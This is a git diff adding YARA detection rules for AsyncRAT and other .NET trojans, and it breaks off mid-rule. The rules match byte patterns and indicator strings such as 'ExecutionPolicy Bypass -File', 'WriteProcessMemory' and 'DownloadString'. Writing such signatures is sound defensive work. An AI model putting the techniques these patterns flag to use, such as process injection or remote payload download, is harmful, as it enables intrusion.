+1,21 @@ + +rule Trojan_BAT_AsyncRAT_RPA_MTB{ + meta: + description = "Trojan:BAT/AsyncRAT.RPA!MTB,SIGNATURE_TYPE_PEHSTR_EXT,6e 00 6e 00 0b 00 00 " + + strings : + $a_01_0 = {63 6f 70 6f 73 50 72 6f 6a 65 63 74 2e 66 6f 72 67 6f 74 70 61 73 73 77 6f 72 64 46 6f 72 6d 2e 72 65 73 6f 75 72 63 65 73 } //1 coposProject.forgotpasswordForm.resources + $a_01_1 = {63 6f 70 6f 73 50 72 6f 6a 65 63 74 2e 73 74 61 74 69 73 74 69 63 73 46 6f 72 6d 2e 72 65 73 6f 75 72 63 65 73 } //1 coposProject.statisticsForm.resources + $a_01_2 = {63 6f 70 6f 73 50 72 6f 6a 65 63 74 2e 68 69 73 74 6f 72 79 46 6f 72 6d 2e 72 65 73 6f 75 72 63 65 73 } //1 coposProject.historyForm.resources + $a_01_3 = {63 6f 70 6f 73 50 72 6f 6a 65 63 74 2e 73 74 61 72 74 46 6f 72 6d 54 77 6f 2e 72 65 73 6f 75 72 63 65 73 } //1 coposProject.startFormTwo.resources + $a_01_4 = {63 6f 70 6f 73 50 72 6f 6a 65 63 74 2e 73 74 61 72 74 46 6f 72 6d 54 68 72 65 65 2e 72 65 73 6f 75 72 63 65 73 } //1 coposProject.startFormThree.resources + $a_01_5 = {63 6f 70 6f 73 50 72 6f 6a 65 63 74 2e 75 63 49 6e 76 65 6e 74 6f 72 79 45 6d 70 6c 6f 79 65 65 2e 72 65 73 6f 75 72 63 65 73 } //1 coposProject.ucInventoryEmployee.resources + $a_01_6 = {63 6f 70 6f 73 50 72 6f 6a 65 63 74 2e 75 63 53 61 6c 65 73 45 6d 70 6c 6f 79 65 65 2e 72 65 73 6f 75 72 63 65 73 } //1 coposProject.ucSalesEmployee.resources + $a_01_7 = {63 6f 70 6f 73 50 72 6f 6a 65 63 74 2e 75 63 53 61 6c 65 73 52 65 63 65 69 70 74 45 6d 70 6c 6f 79 65 65 2e 72 65 73 6f 75 72 63 65 73 } //1 coposProject.ucSalesReceiptEmployee.resources + $a_01_8 = {63 6f 70 6f 73 50 72 6f 6a 65 63 74 2e 75 63 52 65 63 65 69 70 74 50 6f 2e 72 65 73 6f 75 72 63 65 73 } //1 coposProject.ucReceiptPo.resources + $a_01_9 = {63 6f 70 6f 73 50 72 6f 6a 65 63 74 2e 75 63 49 6e 76 65 6e 74 6f 72 79 2e 72 65 73 6f 75 72 63 65 73 } //1 coposProject.ucInventory.resources + $a_01_10 = {63 6f 70 6f 73 50 72 6f 6a 65 63 74 2e 75 73 65 72 43 6f 6e 74 72 6f 6c 2e 70 75 72 63 68 61 73 65 4f 72 64 65 72 55 63 2e 72 65 73 6f 75 72 63 65 73 } //100 coposProject.userControl.purchaseOrderUc.resources + condition: + ((#a_01_0 & 1)*1+(#a_01_1 & 1)*1+(#a_01_2 & 1)*1+(#a_01_3 & 1)*1+(#a_01_4 & 1)*1+(#a_01_5 & 1)*1+(#a_01_6 & 1)*1+(#a_01_7 & 1)*1+(#a_01_8 & 1)*1+(#a_01_9 & 1)*1+(#a_01_10 & 1)*100) >=110 + +} \ No newline at end of file diff --git a/Trojan/BAT/Asyncrat/Trojan_BAT_AsyncRAT_RPC_MTB.yar b/Trojan/BAT/Asyncrat/Trojan_BAT_AsyncRAT_RPC_MTB.yar new file mode 100644 index 0000000000..f5b9890457 --- /dev/null +++ b/Trojan/BAT/Asyncrat/Trojan_BAT_AsyncRAT_RPC_MTB.yar @@ -0,0 +1,21 @@ + +rule Trojan_BAT_AsyncRAT_RPC_MTB{ + meta: + description = "Trojan:BAT/AsyncRAT.RPC!MTB,SIGNATURE_TYPE_PEHSTR_EXT,6e 00 6e 00 0b 00 00 " + + strings : + $a_02_0 = {73 12 00 00 06 73 ?? 00 00 06 28 ?? 00 00 06 73 ?? 00 00 06 6f ?? 00 00 06 72 ?? 00 00 70 72 ?? 00 00 70 73 ?? 00 00 06 6f ?? 00 00 06 11 ?? 11 00 6f ?? 00 00 0a 11 ?? 6f } //100 + $a_00_1 = {70 00 72 00 6f 00 63 00 65 00 73 00 73 00 5f 00 77 00 6f 00 72 00 6b 00 69 00 6e 00 67 00 5f 00 73 00 65 00 74 00 } //1 process_working_set + $a_00_2 = {50 00 72 00 6f 00 63 00 65 00 73 00 73 00 20 00 77 00 6f 00 72 00 6b 00 69 00 6e 00 67 00 20 00 73 00 65 00 74 00 } //1 Process working set + $a_00_3 = {70 00 72 00 6f 00 63 00 65 00 73 00 73 00 5f 00 63 00 70 00 75 00 5f 00 73 00 65 00 63 00 6f 00 6e 00 64 00 73 00 5f 00 74 00 6f 00 74 00 61 00 6c 00 } //1 process_cpu_seconds_total + $a_00_4 = {54 00 6f 00 74 00 61 00 6c 00 20 00 75 00 73 00 65 00 72 00 20 00 61 00 6e 00 64 00 20 00 73 00 79 00 73 00 74 00 65 00 6d 00 20 00 43 00 50 00 55 00 20 00 74 00 69 00 6d 00 65 00 20 00 73 00 70 00 65 00 6e 00 74 00 20 00 69 00 6e 00 20 00 73 00 65 00 63 00 6f 00 6e 00 64 00 73 00 } //1 Total user and system CPU time spent in seconds + $a_00_5 = {70 00 72 00 6f 00 63 00 65 00 73 00 73 00 5f 00 70 00 72 00 69 00 76 00 61 00 74 00 65 00 5f 00 62 00 79 00 74 00 65 00 73 00 } //1 process_private_bytes + $a_00_6 = {70 00 72 00 6f 00 63 00 65 00 73 00 73 00 5f 00 6e 00 75 00 6d 00 5f 00 74 00 68 00 72 00 65 00 61 00 64 00 73 00 } //1 process_num_threads + $a_00_7 = {70 00 72 00 6f 00 63 00 65 00 73 00 73 00 5f 00 73 00 74 00 61 00 72 00 74 00 5f 00 74 00 69 00 6d 00 65 00 5f 00 73 00 65 00 63 00 6f 00 6e 00 64 00 73 00 } //1 process_start_time_seconds + $a_00_8 = {70 00 72 00 6f 00 63 00 65 00 73 00 73 00 5f 00 76 00 69 00 72 00 74 00 75 00 61 00 6c 00 5f 00 62 00 79 00 74 00 65 00 73 00 } //1 process_virtual_bytes + $a_00_9 = {50 00 72 00 6f 00 63 00 65 00 73 00 73 00 20 00 76 00 69 00 72 00 74 00 75 00 61 00 6c 00 20 00 6d 00 65 00 6d 00 6f 00 72 00 79 00 20 00 73 00 69 00 7a 00 65 00 } //1 Process virtual memory size + $a_00_10 = {70 00 72 00 6f 00 63 00 65 00 73 00 73 00 5f 00 70 00 72 00 6f 00 63 00 65 00 73 00 73 00 69 00 64 00 } //1 process_processid + condition: + ((#a_02_0 & 1)*100+(#a_00_1 & 1)*1+(#a_00_2 & 1)*1+(#a_00_3 & 1)*1+(#a_00_4 & 1)*1+(#a_00_5 & 1)*1+(#a_00_6 & 1)*1+(#a_00_7 & 1)*1+(#a_00_8 & 1)*1+(#a_00_9 & 1)*1+(#a_00_10 & 1)*1) >=110 + +} \ No newline at end of file diff --git a/Trojan/BAT/Asyncrat/Trojan_BAT_AsyncRAT_WRT_MTB.yar b/Trojan/BAT/Asyncrat/Trojan_BAT_AsyncRAT_WRT_MTB.yar new file mode 100644 index 0000000000..a5cf1aba2d --- /dev/null +++ b/Trojan/BAT/Asyncrat/Trojan_BAT_AsyncRAT_WRT_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_BAT_AsyncRAT_WRT_MTB{ + meta: + description = "Trojan:BAT/AsyncRAT.WRT!MTB,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 01 00 00 " + + strings : + $a_03_0 = {1a 8d 0b 00 00 01 0b 06 07 16 07 8e 69 6f ?? 00 00 0a 26 07 16 28 ?? 00 00 0a 0c 06 16 73 14 00 00 0a 0d 08 8d 0b 00 00 01 13 04 16 13 05 38 13 00 00 00 11 05 09 11 04 11 05 08 11 05 59 6f ?? 00 00 0a 58 13 05 11 05 08 32 e8 } //5 + condition: + ((#a_03_0 & 1)*5) >=5 + +} \ No newline at end of file diff --git a/Trojan/BAT/Asyncrat/Trojan_BAT_AsyncRAT_ZBV_MTB.yar b/Trojan/BAT/Asyncrat/Trojan_BAT_AsyncRAT_ZBV_MTB.yar new file mode 100644 index 0000000000..88110960e3 --- /dev/null +++ b/Trojan/BAT/Asyncrat/Trojan_BAT_AsyncRAT_ZBV_MTB.yar @@ -0,0 +1,12 @@ + +rule Trojan_BAT_AsyncRAT_ZBV_MTB{ + meta: + description = "Trojan:BAT/AsyncRAT.ZBV!MTB,SIGNATURE_TYPE_PEHSTR_EXT,0b 00 0b 00 02 00 00 " + + strings : + $a_03_0 = {0a 0b 07 28 ?? 00 00 0a 04 6f ?? 00 00 0a 6f ?? 00 00 0a 0c 73 ?? 00 00 0a 0d 09 08 6f ?? 00 00 0a 00 09 18 6f ?? 00 00 0a 00 09 6f ?? 00 00 0a 13 04 11 04 05 16 05 8e 69 6f ?? 00 00 0a 13 05 09 } //10 + $a_01_1 = {43 72 65 61 74 65 44 65 63 72 79 70 74 6f 72 } //1 CreateDecryptor + condition: + ((#a_03_0 & 1)*10+(#a_01_1 & 1)*1) >=11 + +} \ No newline at end of file diff --git a/Trojan/BAT/Asyncrat/Trojan_BAT_AsyncRAT_ZKY_MTB.yar b/Trojan/BAT/Asyncrat/Trojan_BAT_AsyncRAT_ZKY_MTB.yar new file mode 100644 index 0000000000..ffbc35d9c4 --- /dev/null +++ b/Trojan/BAT/Asyncrat/Trojan_BAT_AsyncRAT_ZKY_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_BAT_AsyncRAT_ZKY_MTB{ + meta: + description = "Trojan:BAT/AsyncRAT.ZKY!MTB,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 01 00 00 " + + strings : + $a_03_0 = {58 20 00 01 00 00 5d 94 fe 0e 0e 00 fe 0c 07 00 fe 0c 0c 00 fe 09 00 00 fe 0c 0c 00 91 fe 0c 0e 00 61 28 ?? 00 00 0a 9c fe 0c 0c 00 20 01 00 00 00 58 fe 0e 0c 00 fe 0c 0c 00 fe 09 00 00 8e 69 } //10 + condition: + ((#a_03_0 & 1)*10) >=10 + +} \ No newline at end of file diff --git a/Trojan/BAT/Asyncrat/Trojan_BAT_AsyncRAT_ZSW_MTB.yar b/Trojan/BAT/Asyncrat/Trojan_BAT_AsyncRAT_ZSW_MTB.yar new file mode 100644 index 0000000000..5f2e5c1b1e --- /dev/null +++ b/Trojan/BAT/Asyncrat/Trojan_BAT_AsyncRAT_ZSW_MTB.yar @@ -0,0 +1,12 @@ + +rule Trojan_BAT_AsyncRAT_ZSW_MTB{ + meta: + description = "Trojan:BAT/AsyncRAT.ZSW!MTB,SIGNATURE_TYPE_PEHSTR_EXT,0b 00 0b 00 02 00 00 " + + strings : + $a_03_0 = {02 11 06 11 08 6f ?? 00 00 0a 13 09 11 04 11 05 8e 69 6f ?? 00 00 0a 13 0b 11 0b 2c 39 00 00 11 05 13 0c 16 13 0d } //6 + $a_03_1 = {01 25 16 12 09 28 ?? 00 00 0a 9c 25 17 12 09 28 ?? 00 00 0a 9c 25 18 12 09 28 ?? 00 00 0a 9c 13 13 16 13 14 2b 14 } //5 + condition: + ((#a_03_0 & 1)*6+(#a_03_1 & 1)*5) >=11 + +} \ No newline at end of file diff --git a/Trojan/BAT/Asyncrat/Trojan_BAT_AsyncRAT_ZWY_MTB.yar b/Trojan/BAT/Asyncrat/Trojan_BAT_AsyncRAT_ZWY_MTB.yar new file mode 100644 index 0000000000..f1086f83c5 --- /dev/null +++ b/Trojan/BAT/Asyncrat/Trojan_BAT_AsyncRAT_ZWY_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_BAT_AsyncRAT_ZWY_MTB{ + meta: + description = "Trojan:BAT/AsyncRAT.ZWY!MTB,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 01 00 00 " + + strings : + $a_01_0 = {08 09 17 59 06 09 91 07 61 1f 0d 59 20 ff 00 00 00 5f d2 9c 09 17 58 0d 09 06 8e 69 32 e2 } //10 + condition: + ((#a_01_0 & 1)*10) >=10 + +} \ No newline at end of file diff --git a/Trojan/BAT/Asyncrat/Trojan_BAT_AsyncRAT_ZXT_MTB.yar b/Trojan/BAT/Asyncrat/Trojan_BAT_AsyncRAT_ZXT_MTB.yar new file mode 100644 index 0000000000..ded304f47d --- /dev/null +++ b/Trojan/BAT/Asyncrat/Trojan_BAT_AsyncRAT_ZXT_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_BAT_AsyncRAT_ZXT_MTB{ + meta: + description = "Trojan:BAT/AsyncRAT.ZXT!MTB,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 01 00 00 " + + strings : + $a_03_0 = {11 02 11 04 11 00 11 04 91 11 01 11 04 11 01 6f ?? 00 00 0a 5d 6f ?? 00 00 0a 61 d2 9c 20 02 00 00 00 38 13 ff ff ff 72 01 00 00 70 13 01 20 00 00 00 00 7e ?? 00 00 04 7b ?? 00 00 04 39 f8 fe ff ff 26 20 01 00 00 00 38 ed fe ff ff 38 58 ff ff ff 20 03 00 00 00 38 de fe ff ff } //10 + condition: + ((#a_03_0 & 1)*10) >=10 + +} \ No newline at end of file diff --git a/Trojan/BAT/Asyncrat/Trojan_BAT_AsyncRat_ACY_MTB.yar b/Trojan/BAT/Asyncrat/Trojan_BAT_AsyncRat_ACY_MTB.yar new file mode 100644 index 0000000000..0c278fa1cc --- /dev/null +++ b/Trojan/BAT/Asyncrat/Trojan_BAT_AsyncRat_ACY_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_BAT_AsyncRat_ACY_MTB{ + meta: + description = "Trojan:BAT/AsyncRat.ACY!MTB,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 01 00 00 " + + strings : + $a_03_0 = {8e 69 17 da 17 d6 8d ?? ?? ?? 01 0b 02 8e 69 17 da 0c 16 0d 2b 19 07 09 02 09 91 19 da 20 00 01 00 00 d6 20 00 01 00 00 5d b4 9c 09 17 d6 0d 09 08 } //2 + condition: + ((#a_03_0 & 1)*2) >=2 + +} \ No newline at end of file diff --git a/Trojan/BAT/Asyncrat/Trojan_BAT_AsyncRat_ADQA_MTB.yar b/Trojan/BAT/Asyncrat/Trojan_BAT_AsyncRat_ADQA_MTB.yar new file mode 100644 index 0000000000..24dfad4985 --- /dev/null +++ b/Trojan/BAT/Asyncrat/Trojan_BAT_AsyncRat_ADQA_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_BAT_AsyncRat_ADQA_MTB{ + meta: + description = "Trojan:BAT/AsyncRat.ADQA!MTB,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 01 00 00 " + + strings : + $a_01_0 = {0b 20 aa 00 00 00 0c 16 13 04 2b 14 07 11 04 8f 15 00 00 01 25 47 08 61 d2 52 11 04 17 58 13 04 11 04 07 8e 69 32 e5 } //5 + condition: + ((#a_01_0 & 1)*5) >=5 + +} \ No newline at end of file diff --git a/Trojan/BAT/Asyncrat/Trojan_BAT_AsyncRat_AHQA_MTB.yar b/Trojan/BAT/Asyncrat/Trojan_BAT_AsyncRat_AHQA_MTB.yar new file mode 100644 index 0000000000..94f5f1daff --- /dev/null +++ b/Trojan/BAT/Asyncrat/Trojan_BAT_AsyncRat_AHQA_MTB.yar @@ -0,0 +1,12 @@ + +rule Trojan_BAT_AsyncRat_AHQA_MTB{ + meta: + description = "Trojan:BAT/AsyncRat.AHQA!MTB,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 02 00 00 " + + strings : + $a_03_0 = {fe 0e 04 00 fe 0c 04 00 20 01 00 00 00 40 00 00 00 00 02 28 ?? 00 00 0a 0a 28 ?? 00 00 0a 03 6f ?? 00 00 0a 0b 06 8e 69 8d 1f 00 00 01 0c 16 0d 38 13 00 00 00 08 09 06 09 91 07 09 07 8e 69 5d 91 61 d2 9c 09 17 58 0d 09 06 8e 69 3f e4 ff ff ff } //5 + $a_01_1 = {46 72 6f 6d 42 61 73 65 36 34 53 74 72 69 6e 67 } //1 FromBase64String + condition: + ((#a_03_0 & 1)*5+(#a_01_1 & 1)*1) >=6 + +} \ No newline at end of file diff --git a/Trojan/BAT/Asyncrat/Trojan_BAT_AsyncRat_ALQA_MTB.yar b/Trojan/BAT/Asyncrat/Trojan_BAT_AsyncRat_ALQA_MTB.yar new file mode 100644 index 0000000000..204a3bd7b8 --- /dev/null +++ b/Trojan/BAT/Asyncrat/Trojan_BAT_AsyncRat_ALQA_MTB.yar @@ -0,0 +1,12 @@ + +rule Trojan_BAT_AsyncRat_ALQA_MTB{ + meta: + description = "Trojan:BAT/AsyncRat.ALQA!MTB,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 02 00 00 " + + strings : + $a_01_0 = {11 05 11 06 09 11 06 91 11 04 11 06 11 04 8e 69 5d 91 61 d2 9c 11 06 17 58 13 06 11 06 09 8e 69 3f db ff ff ff } //3 + $a_03_1 = {fe 0e 07 00 fe 0c 07 00 20 01 00 00 00 40 00 00 00 00 02 28 ?? 00 00 06 28 ?? 00 00 06 6f ?? 00 00 0a 28 ?? 00 00 06 28 ?? 00 00 06 6f ?? 00 00 0a 0a 1a 06 6f ?? 00 00 0a 1a 5d 59 0b 07 1a } //2 + condition: + ((#a_01_0 & 1)*3+(#a_03_1 & 1)*2) >=5 + +} \ No newline at end of file diff --git a/Trojan/BAT/Asyncrat/Trojan_BAT_AsyncRat_AYPA_MTB.yar b/Trojan/BAT/Asyncrat/Trojan_BAT_AsyncRat_AYPA_MTB.yar new file mode 100644 index 0000000000..a1c3e521ac --- /dev/null +++ b/Trojan/BAT/Asyncrat/Trojan_BAT_AsyncRat_AYPA_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_BAT_AsyncRat_AYPA_MTB{ + meta: + description = "Trojan:BAT/AsyncRat.AYPA!MTB,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 01 00 00 " + + strings : + $a_01_0 = {59 1c 58 1c 59 91 61 06 09 20 11 02 00 00 58 20 10 02 00 00 59 06 8e 69 5d 1f 09 58 1f 0c 58 1f 15 59 1c 58 1c 59 91 59 20 fb 00 00 00 58 1b 58 20 00 01 00 00 5d d2 9c 09 17 58 0d } //5 + condition: + ((#a_01_0 & 1)*5) >=5 + +} \ No newline at end of file diff --git a/Trojan/BAT/Asyncrat/Trojan_BAT_AsyncRat_AYS_MTB.yar b/Trojan/BAT/Asyncrat/Trojan_BAT_AsyncRat_AYS_MTB.yar index cf55ef2538..5e2a8c061c 100644 --- a/Trojan/BAT/Asyncrat/Trojan_BAT_AsyncRat_AYS_MTB.yar +++ b/Trojan/BAT/Asyncrat/Trojan_BAT_AsyncRat_AYS_MTB.yar @@ -9,4 +9,15 @@ rule Trojan_BAT_AsyncRat_AYS_MTB{ condition: ((#a_03_0 & 1)*2+(#a_01_1 & 1)*5) >=7 +} +rule Trojan_BAT_AsyncRat_AYS_MTB_2{ + meta: + description = "Trojan:BAT/AsyncRat.AYS!MTB,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 02 00 00 " + + strings : + $a_03_0 = {a2 06 1c 8d ?? 00 00 01 25 16 28 ?? 00 00 06 a2 25 17 28 ?? 00 00 06 a2 25 18 28 ?? 00 00 06 a2 25 19 28 ?? 00 00 06 a2 25 1a 28 ?? 00 00 06 a2 25 1b 28 } //2 + $a_01_1 = {52 00 65 00 6e 00 74 00 61 00 6c 00 2e 00 56 00 69 00 65 00 77 00 2e 00 41 00 53 00 43 00 } //1 Rental.View.ASC + condition: + ((#a_03_0 & 1)*2+(#a_01_1 & 1)*1) >=3 + } \ No newline at end of file diff --git a/Trojan/BAT/Asyncrat/Trojan_BAT_AsyncRat_BSA_MTB.yar b/Trojan/BAT/Asyncrat/Trojan_BAT_AsyncRat_BSA_MTB.yar new file mode 100644 index 0000000000..5778fe8798 --- /dev/null +++ b/Trojan/BAT/Asyncrat/Trojan_BAT_AsyncRat_BSA_MTB.yar @@ -0,0 +1,13 @@ + +rule Trojan_BAT_AsyncRat_BSA_MTB{ + meta: + description = "Trojan:BAT/AsyncRat.BSA!MTB,SIGNATURE_TYPE_PEHSTR_EXT,0c 00 0c 00 03 00 00 " + + strings : + $a_81_0 = {53 6b 69 70 70 69 6e 67 20 41 6e 6e 61 62 65 6c 6c 65 2e 65 78 65 } //10 Skipping Annabelle.exe + $a_81_1 = {70 6f 77 65 72 73 68 65 6c 6c 2e 65 78 65 } //1 powershell.exe + $a_81_2 = {45 78 65 63 75 74 69 6f 6e 50 6f 6c 69 63 79 20 42 79 70 61 73 73 20 2d 46 69 6c 65 } //1 ExecutionPolicy Bypass -File + condition: + ((#a_81_0 & 1)*10+(#a_81_1 & 1)*1+(#a_81_2 & 1)*1) >=12 + +} \ No newline at end of file diff --git a/Trojan/BAT/Asyncrat/Trojan_BAT_AsyncRat_CE_MTB.yar b/Trojan/BAT/Asyncrat/Trojan_BAT_AsyncRat_CE_MTB.yar new file mode 100644 index 0000000000..bb7f0a4289 --- /dev/null +++ b/Trojan/BAT/Asyncrat/Trojan_BAT_AsyncRat_CE_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_BAT_AsyncRat_CE_MTB{ + meta: + description = "Trojan:BAT/AsyncRat.CE!MTB,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 01 00 00 " + + strings : + $a_03_0 = {09 11 05 07 58 09 8e 69 5d 91 11 05 1f 0d 5a 20 ?? ?? ?? ?? 5d 61 07 11 05 19 5d 1f 1f 5f 63 61 d2 13 09 11 04 11 05 11 08 11 09 61 d2 9c 11 05 17 58 13 05 11 05 08 8e 69 } //2 + condition: + ((#a_03_0 & 1)*2) >=2 + +} \ No newline at end of file diff --git a/Trojan/BAT/Asyncrat/Trojan_BAT_AsyncRat_CF_MTB.yar b/Trojan/BAT/Asyncrat/Trojan_BAT_AsyncRat_CF_MTB.yar new file mode 100644 index 0000000000..de492f7ebb --- /dev/null +++ b/Trojan/BAT/Asyncrat/Trojan_BAT_AsyncRat_CF_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_BAT_AsyncRat_CF_MTB{ + meta: + description = "Trojan:BAT/AsyncRat.CF!MTB,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 01 00 00 " + + strings : + $a_01_0 = {07 11 04 07 8e 69 5d 91 08 61 11 04 1f 1f 5a 61 d2 13 06 09 11 04 11 05 11 06 61 d2 9c 11 04 17 58 13 04 } //2 + condition: + ((#a_01_0 & 1)*2) >=2 + +} \ No newline at end of file diff --git a/Trojan/BAT/Asyncrat/Trojan_BAT_AsyncRat_CG_MTB.yar b/Trojan/BAT/Asyncrat/Trojan_BAT_AsyncRat_CG_MTB.yar new file mode 100644 index 0000000000..e0c9ddec80 --- /dev/null +++ b/Trojan/BAT/Asyncrat/Trojan_BAT_AsyncRat_CG_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_BAT_AsyncRat_CG_MTB{ + meta: + description = "Trojan:BAT/AsyncRat.CG!MTB,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 01 00 00 " + + strings : + $a_03_0 = {25 16 12 14 28 ?? ?? ?? ?? 9c 25 17 12 14 28 ?? ?? ?? ?? 9c 25 18 12 14 28 ?? ?? ?? ?? 9c 13 10 16 13 05 2b 11 07 11 10 11 05 91 6f ?? ?? ?? ?? 11 05 17 58 13 05 11 05 11 06 fe 04 13 11 11 11 2d e3 } //2 + condition: + ((#a_03_0 & 1)*2) >=2 + +} \ No newline at end of file diff --git a/Trojan/BAT/Asyncrat/Trojan_BAT_AsyncRat_MVT_MTB.yar b/Trojan/BAT/Asyncrat/Trojan_BAT_AsyncRat_MVT_MTB.yar new file mode 100644 index 0000000000..409706dd6b --- /dev/null +++ b/Trojan/BAT/Asyncrat/Trojan_BAT_AsyncRat_MVT_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_BAT_AsyncRat_MVT_MTB{ + meta: + description = "Trojan:BAT/AsyncRat.MVT!MTB,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 01 00 00 " + + strings : + $a_01_0 = {11 05 1e 5d 16 fe 01 13 06 11 06 2c 0f 02 11 05 02 11 05 91 20 a9 00 00 00 61 b4 9c 11 05 17 d6 13 05 11 05 11 04 31 d8 } //5 + condition: + ((#a_01_0 & 1)*5) >=5 + +} \ No newline at end of file diff --git a/Trojan/BAT/Asyncrat/Trojan_BAT_AsyncRat_ZZT_MTB.yar b/Trojan/BAT/Asyncrat/Trojan_BAT_AsyncRat_ZZT_MTB.yar new file mode 100644 index 0000000000..360f08fa33 --- /dev/null +++ b/Trojan/BAT/Asyncrat/Trojan_BAT_AsyncRat_ZZT_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_BAT_AsyncRat_ZZT_MTB{ + meta: + description = "Trojan:BAT/AsyncRat.ZZT!MTB,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 01 00 00 " + + strings : + $a_03_0 = {0d 08 8e 69 8d ?? 00 00 01 13 04 16 13 05 2b 12 11 04 11 05 08 11 05 91 09 61 d2 9c 11 05 17 58 13 05 11 05 08 8e 69 fe 04 13 0e 11 0e 2d e1 } //10 + condition: + ((#a_03_0 & 1)*10) >=10 + +} \ No newline at end of file diff --git a/Trojan/BAT/Asyncrat/Trojan_BAT_Asyncrat_PGA_MTB.yar b/Trojan/BAT/Asyncrat/Trojan_BAT_Asyncrat_PGA_MTB.yar new file mode 100644 index 0000000000..c1e237c4a3 --- /dev/null +++ b/Trojan/BAT/Asyncrat/Trojan_BAT_Asyncrat_PGA_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_BAT_Asyncrat_PGA_MTB{ + meta: + description = "Trojan:BAT/Asyncrat.PGA!MTB,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 01 00 00 " + + strings : + $a_03_0 = {06 11 06 11 05 6f ?? 00 00 0a 13 07 09 11 04 20 ff 00 00 00 12 07 28 ?? 00 00 0a 59 1f 72 61 d2 9c 11 06 17 58 13 06 11 04 17 58 13 04 11 06 07 3c 0a 00 00 00 11 04 09 8e 69 } //5 + condition: + ((#a_03_0 & 1)*5) >=5 + +} \ No newline at end of file diff --git a/Trojan/BAT/Asyncrat/Trojan_BAT_Asyncrat_PGR_MTB.yar b/Trojan/BAT/Asyncrat/Trojan_BAT_Asyncrat_PGR_MTB.yar new file mode 100644 index 0000000000..b02fbb60ec --- /dev/null +++ b/Trojan/BAT/Asyncrat/Trojan_BAT_Asyncrat_PGR_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_BAT_Asyncrat_PGR_MTB{ + meta: + description = "Trojan:BAT/Asyncrat.PGR!MTB,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 01 00 00 " + + strings : + $a_03_0 = {72 37 00 00 70 28 ?? 00 00 0a 0a 72 69 00 00 70 28 ?? 00 00 0a 0b 73 ?? 00 00 0a 0c 08 06 6f ?? 00 00 0a 08 07 6f ?? 00 00 0a 08 6f ?? 00 00 0a 02 16 02 8e 69 6f ?? 00 00 0a 0d dd 0d 00 00 00 } //5 + condition: + ((#a_03_0 & 1)*5) >=5 + +} \ No newline at end of file diff --git a/Trojan/BAT/Atraps/Trojan_BAT_Atraps_A_MTB.yar b/Trojan/BAT/Atraps/Trojan_BAT_Atraps_A_MTB.yar new file mode 100644 index 0000000000..d1dc40e538 --- /dev/null +++ b/Trojan/BAT/Atraps/Trojan_BAT_Atraps_A_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_BAT_Atraps_A_MTB{ + meta: + description = "Trojan:BAT/Atraps.A!MTB,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 00 " + + strings : + $a_01_0 = {03 02 7b 06 00 00 04 28 53 00 00 06 10 01 73 62 00 00 0a 13 05 73 63 00 00 0a 0b 73 63 00 00 0a 0c 72 d4 11 00 70 } //1 + condition: + ((#a_01_0 & 1)*1) >=1 + +} \ No newline at end of file diff --git a/Trojan/BAT/Atraps/Trojan_BAT_Atraps_PGA_MTB.yar b/Trojan/BAT/Atraps/Trojan_BAT_Atraps_PGA_MTB.yar new file mode 100644 index 0000000000..132c5c85fa --- /dev/null +++ b/Trojan/BAT/Atraps/Trojan_BAT_Atraps_PGA_MTB.yar @@ -0,0 +1,13 @@ + +rule Trojan_BAT_Atraps_PGA_MTB{ + meta: + description = "Trojan:BAT/Atraps.PGA!MTB,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 03 00 00 " + + strings : + $a_03_0 = {06 39 ae 00 00 00 06 6f ?? 00 00 0a 0b 16 0c 38 97 00 00 00 07 08 9a 0d 06 09 6f ?? 00 00 0a 25 2d 04 26 14 2b 05 } //5 + $a_01_1 = {57 72 69 74 65 50 72 6f 63 65 73 73 4d 65 6d 6f 72 79 } //3 WriteProcessMemory + $a_01_2 = {44 6f 77 6e 6c 6f 61 64 53 74 72 69 6e 67 } //2 DownloadString + condition: + ((#a_03_0 & 1)*5+(#a_01_1 & 1)*3+(#a_01_2 & 1)*2) >=10 + +} \ No newline at end of file diff --git a/Trojan/BAT/AveMaria/Trojan_BAT_AveMaria_NA_MTB.yar b/Trojan/BAT/AveMaria/Trojan_BAT_AveMaria_NA_MTB.yar index 99529ca8a7..0c52fb910e 100644 --- a/Trojan/BAT/AveMaria/Trojan_BAT_AveMaria_NA_MTB.yar +++ b/Trojan/BAT/AveMaria/Trojan_BAT_AveMaria_NA_MTB.yar @@ -1,5 +1,17 @@ rule Trojan_BAT_AveMaria_NA_MTB{ + meta: + description = "Trojan:BAT/AveMaria.NA!MTB,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 03 00 00 " + + strings : + $a_01_0 = {28 8b 00 00 0a 6f 3b 00 00 06 0c 28 08 00 00 06 6f 85 00 00 0a 09 72 